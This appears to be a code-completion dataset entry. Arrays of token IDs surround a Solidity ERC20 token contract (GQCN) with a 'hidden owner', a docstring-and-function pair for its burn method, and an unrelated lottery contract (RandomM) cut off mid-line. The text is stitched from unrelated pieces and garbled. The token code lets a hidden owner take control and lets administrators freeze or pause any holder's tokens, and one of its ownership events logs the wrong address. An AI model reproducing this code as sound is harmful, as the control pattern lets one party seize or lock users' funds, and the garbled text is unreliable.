[ 1, 565, 445, 2430, 8872, 12, 203, 3639, 1758, 3726, 16, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1731, 745, 892, 13530, 16, 203, 3639, 1731, 745, 892, 3726, 751, 203, 565, 262, 3903, 288, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a owner to pause, triggers stopped state. */ function _pause() internal { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a owner to unpause, returns to normal state. */ function _unpause() internal { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions, and hidden onwer account that can change owner. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _hiddenOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event HiddenOwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; _hiddenOwner = msgSender; emit OwnershipTransferred(address(0), msgSender); emit HiddenOwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Returns the address of the current hidden owner. */ function hiddenOwner() public view returns (address) { return _hiddenOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Throws if called by any account other than the hidden owner. */ modifier onlyHiddenOwner() { require(_hiddenOwner == _msgSender(), "Ownable: caller is not the hidden owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Transfers hidden ownership of the contract to a new account (`newHiddenOwner`). */ function _transferHiddenOwnership(address newHiddenOwner) internal { require(newHiddenOwner != address(0), "Ownable: new hidden owner is the zero address"); emit HiddenOwnershipTransferred(_owner, newHiddenOwner); _hiddenOwner = newHiddenOwner; } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract Burnable is Context { mapping(address => bool) private _burners; event BurnerAdded(address indexed account); event BurnerRemoved(address indexed account); /** * @dev Returns whether the address is burner. */ function isBurner(address account) public view returns (bool) { return _burners[account]; } /** * @dev Throws if called by any account other than the burner. */ modifier onlyBurner() { require(_burners[_msgSender()], "Ownable: caller is not the burner"); _; } /** * @dev Add burner, only owner can add burner. */ function _addBurner(address account) internal { _burners[account] = true; emit BurnerAdded(account); } /** * @dev Remove operator, only owner can remove operator */ function _removeBurner(address account) internal { _burners[account] = false; emit BurnerRemoved(account); } } /** * @dev Contract for locking mechanism. * Locker can add and remove locked account. * If locker send coin to unlocked address, the address is locked automatically. */ contract Lockable is Context { using SafeMath for uint; struct TimeLock { uint amount; uint expiresAt; } mapping(address => bool) private _lockers; mapping(address => bool) private _locks; mapping(address => TimeLock[]) private _timeLocks; event LockerAdded(address indexed account); event LockerRemoved(address indexed account); event Locked(address indexed account); event Unlocked(address indexed account); event TimeLocked(address indexed account); event TimeUnlocked(address indexed account); /** * @dev Throws if called by any account other than the locker. */ modifier onlyLocker { require(_lockers[_msgSender()], "Lockable: caller is not the locker"); _; } /** * @dev Returns whether the address is locker. */ function isLocker(address account) public view returns (bool) { return _lockers[account]; } /** * @dev Add locker, only owner can add locker */ function _addLocker(address account) internal { _lockers[account] = true; emit LockerAdded(account); } /** * @dev Remove locker, only owner can remove locker */ function _removeLocker(address account) internal { _lockers[account] = false; emit LockerRemoved(account); } /** * @dev Returns whether the address is locked. */ function isLocked(address account) public view returns (bool) { return _locks[account]; } /** * @dev Lock account, only locker can lock */ function _lock(address account) internal { _locks[account] = true; emit Locked(account); } /** * @dev Unlock account, only locker can unlock */ function _unlock(address account) internal { _locks[account] = false; emit Unlocked(account); } /** * @dev Add time lock, only locker can add */ function _addTimeLock(address account, uint amount, uint expiresAt) internal { require(amount > 0, "Time Lock: lock amount must be greater than 0"); require(expiresAt > block.timestamp, "Time Lock: expire date must be later than now"); _timeLocks[account].push(TimeLock(amount, expiresAt)); } /** * @dev Remove time lock, only locker can remove * @param account The address want to know the time lock state. * @param index Time lock index */ function _removeTimeLock(address account, uint8 index) internal { require(_timeLocks[account].length > index && index >= 0, "Time Lock: index must be valid"); uint len = _timeLocks[account].length; if (len - 1 != index) { // if it is not last item, swap it _timeLocks[account][index] = _timeLocks[account][len - 1]; } _timeLocks[account].pop(); } /** * @dev Get time lock array length * @param account The address want to know the time lock length. * @return time lock length */ function getTimeLockLength(address account) public view returns (uint){ return _timeLocks[account].length; } /** * @dev Get time lock info * @param account The address want to know the time lock state. * @param index Time lock index * @return time lock info */ function getTimeLock(address account, uint8 index) public view returns (uint, uint){ require(_timeLocks[account].length > index && index >= 0, "Time Lock: index must be valid"); return (_timeLocks[account][index].amount, _timeLocks[account][index].expiresAt); } /** * @dev get total time locked amount of address * @param account The address want to know the time lock amount. * @return time locked amount */ function getTimeLockedAmount(address account) public view returns (uint) { uint timeLockedAmount = 0; uint len = _timeLocks[account].length; for (uint i = 0; i < len; i++) { if (block.timestamp < _timeLocks[account][i].expiresAt) { timeLockedAmount = timeLockedAmount.add(_timeLocks[account][i].amount); } } return timeLockedAmount; } } /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @dev Contract for Gold QR New */ contract GQCN is Pausable, Ownable, Burnable, Lockable, ERC20, ERC20Detailed { uint private constant _initialSupply = 3300000000e18; constructor() ERC20Detailed("Gold QR Coin New", "GQCN", 18) public { _mint(_msgSender(), _initialSupply); } /** * @dev Recover ERC20 coin in contract address. * @param tokenAddress The token contract address * @param tokenAmount Number of tokens to be sent */ function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } /** * @dev lock and pause and check time lock before transfer token */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal view { require(!isLocked(from), "Lockable: token transfer from locked account"); require(!isLocked(to), "Lockable: token transfer to locked account"); require(!paused(), "Pausable: token transfer while paused"); require(balanceOf(from).sub(getTimeLockedAmount(from)) >= amount, "Lockable: token transfer from time locked account"); } function transfer(address recipient, uint256 amount) public returns (bool) { _beforeTokenTransfer(_msgSender(), recipient, amount); return super.transfer(recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _beforeTokenTransfer(sender, recipient, amount); return super.transferFrom(sender, recipient, amount); } /** * @dev only hidden owner can transfer ownership */ function transferOwnership(address newOwner) public onlyHiddenOwner whenNotPaused { _transferOwnership(newOwner); } /** * @dev only hidden owner can transfer hidden ownership */ function transferHiddenOwnership(address newHiddenOwner) public onlyHiddenOwner whenNotPaused { _transferHiddenOwnership(newHiddenOwner); } /** * @dev only owner can add burner */ function addBurner(address account) public onlyOwner whenNotPaused { _addBurner(account); } /** * @dev only owner can remove burner */ function removeBurner(address account) public onlyOwner whenNotPaused { _removeBurner(account); } /** * @dev burn burner's coin */ function burn(uint256 amount) public onlyBurner whenNotPaused { _beforeTokenTransfer(_msgSender(), address(0), amount); _burn(_msgSender(), amount); } /** * @dev pause all coin transfer */ function pause() public onlyOwner whenNotPaused { _pause(); } /** * @dev unpause all coin transfer */ function unpause() public onlyOwner whenPaused { _unpause(); } /** * @dev only owner can add locker */ function addLocker(address account) public onlyOwner whenNotPaused { _addLocker(account); } /** * @dev only owner can remove locker */ function removeLocker(address account) public onlyOwner whenNotPaused { _removeLocker(account); } /** * @dev only locker can lock account */ function lock(address account) public onlyLocker whenNotPaused { _lock(account); } /** * @dev only owner can unlock account, not locker */ function unlock(address account) public onlyOwner whenNotPaused { _unlock(account); } /** * @dev only locker can add time lock */ function addTimeLock(address account, uint amount, uint expiresAt) public onlyLocker whenNotPaused { _addTimeLock(account, amount, expiresAt); } /** * @dev only owner can remove time lock */ function removeTimeLock(address account, uint8 index) public onlyOwner whenNotPaused { _removeTimeLock(account, index); } }
* @dev burn burner's coin/
function burn(uint256 amount) public onlyBurner whenNotPaused { _beforeTokenTransfer(_msgSender(), address(0), amount); _burn(_msgSender(), amount); }
2,009,733
[ 1, 70, 321, 18305, 264, 1807, 13170, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 18305, 12, 11890, 5034, 3844, 13, 1071, 1338, 38, 321, 264, 1347, 1248, 28590, 288, 203, 565, 389, 5771, 1345, 5912, 24899, 3576, 12021, 9334, 1758, 12, 20, 3631, 3844, 1769, 203, 565, 389, 70, 321, 24899, 3576, 12021, 9334, 3844, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x950e255c4362c7d7824c63911331ba0c3b090a52 //Contract name: RandomM //Balance: 0 Ether //Verification Date: 1/9/2018 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^0.4.18; contract RandomM { uint public ticketsNum = 0; mapping(uint => uint) internal tickets; // tickets for the current draw mapping(uint => bool) internal payed_back; // ticket payment refunding identifier address[] public addr; // addresses of all the draw participants uint32 public random_num = 0; // draw serial number uint public liveBlocksNumber = 172800; // amount of blocks untill the lottery ending uint public startBlockNumber = 0; // initial block of the current lottery uint public endBlockNumber = 0; // final block of the current lottery uint public constant onePotWei = 10000000000000000; // 1 ticket cost is 0.01 ETH address public inv_contract = 0x5192c55B1064D920C15dB125eF2E69a17558E65a; // investing contract address public rtm_contract = 0x7E08c0468CBe9F48d8A4D246095dEb8bC1EB2e7e; // team contract address public mrk_contract = 0xc01c08B2b451328947bFb7Ba5ffA3af96Cfc3430; // marketing contract address manager; // lottery manager address uint public winners_count = 0; // amount of winners in the current draw uint last_winner = 0; // amount of winners already received rewards uint public others_prize = 0; // prize fund less jack pots uint public fee_balance = 0; // current balance available for commiting payment to investing, team and marketing contracts // Events // This generates a publics event on the blockchain that will notify clients event Buy(address indexed sender, uint eth); // tickets purchase event Withdraw(address indexed sender, address to, uint eth); // reward accruing event Transfer(address indexed from, address indexed to, uint value); // event: sending ticket to another address event TransferError(address indexed to, uint value); // event (error): sending ETH from the contract was failed // methods with following modifier can only be called by the manager modifier onlyManager() { require(msg.sender == manager); _; } // constructor function RandomM() public { manager = msg.sender; startBlockNumber = block.number - 1; endBlockNumber = startBlockNumber + liveBlocksNumber; } /// function for straight tickets purchase (sending ETH to the contract address) function() public payable { require(block.number < endBlockNumber || msg.value < 1000000000000000000); if (msg.value > 0 && last_winner == 0) { uint val = msg.value / onePotWei; uint i = 0; uint ix = checkAddress(msg.sender); for(i; i < val; i++) { tickets[ticketsNum+i] = ix; } ticketsNum += i; Buy(msg.sender, msg.value); } if (block.number >= endBlockNumber) { EndLottery(); } } /// function for ticket sending from owner's address to designated address function transfer(address _to, uint _ticketNum) public { if (msg.sender == getAddress(tickets[_ticketNum]) && _to != address(0)) { uint ix = checkAddress(_to); tickets[_ticketNum] = ix; Transfer(msg.sender, _to, _ticketNum); } } /// manager's opportunity to write off ETH from the contract, in a case of unforseen contract blocking (possible in only case of more than 24 hours from the moment of lottery ending had passed and a new one has not started) function manager_withdraw() onlyManager public { require(block.number >= endBlockNumber + liveBlocksNumber); msg.sender.transfer(this.balance); } /// lottery ending function EndLottery() public returns (bool success) { require(block.number >= endBlockNumber); uint tn = ticketsNum; if(tn < 3) { tn = 0; if(msg.value > 0) { msg.sender.transfer(msg.value); } startNewDraw(msg.value); return false; } uint pf = prizeFund(); uint jp1 = percent(pf, 10); uint jp2 = percent(pf, 4); uint jp3 = percent(pf, 1); uint lastbet_prize = onePotWei*10; if(last_winner == 0) { winners_count = percent(tn, 4) + 3; uint prizes = jp1 + jp2 + jp3 + lastbet_prize*2; uint full_prizes = jp1 + jp2 + jp3 + (lastbet_prize * ( (winners_count+1)/10 ) ); if(winners_count < 10) { if(prizes > pf) { others_prize = 0; } else { others_prize = pf - prizes; } } else { if(full_prizes > pf) { others_prize = 0; } else { others_prize = pf - full_prizes; } } sendEth(getAddress(tickets[getWinningNumber(1)]), jp1); sendEth(getAddress(tickets[getWinningNumber(2)]), jp2); sendEth(getAddress(tickets[getWinningNumber(3)]), jp3); last_winner += 1; sendEth(msg.sender, lastbet_prize + msg.value); return true; } if(last_winner < winners_count + 1 && others_prize > 0) { uint val = others_prize / winners_count; uint i; uint8 cnt = 0; for(i = last_winner; i < winners_count + 1; i++) { sendEth(getAddress(tickets[getWinningNumber(i+3)]), val); cnt++; if(cnt > 9) { last_winner = i; return true; } } last_winner = i; sendEth(msg.sender, lastbet_prize + msg.value); return true; } else { startNewDraw(lastbet_prize + msg.value); } sendEth(msg.sender, lastbet_prize + msg.value); return true; } /// new draw start function startNewDraw(uint _msg_value) internal { ticketsNum = 0; startBlockNumber = block.number - 1; endBlockNumber = startBlockNumber + liveBlocksNumber; random_num += 1; winners_count = 0; last_winner = 0; fee_balance 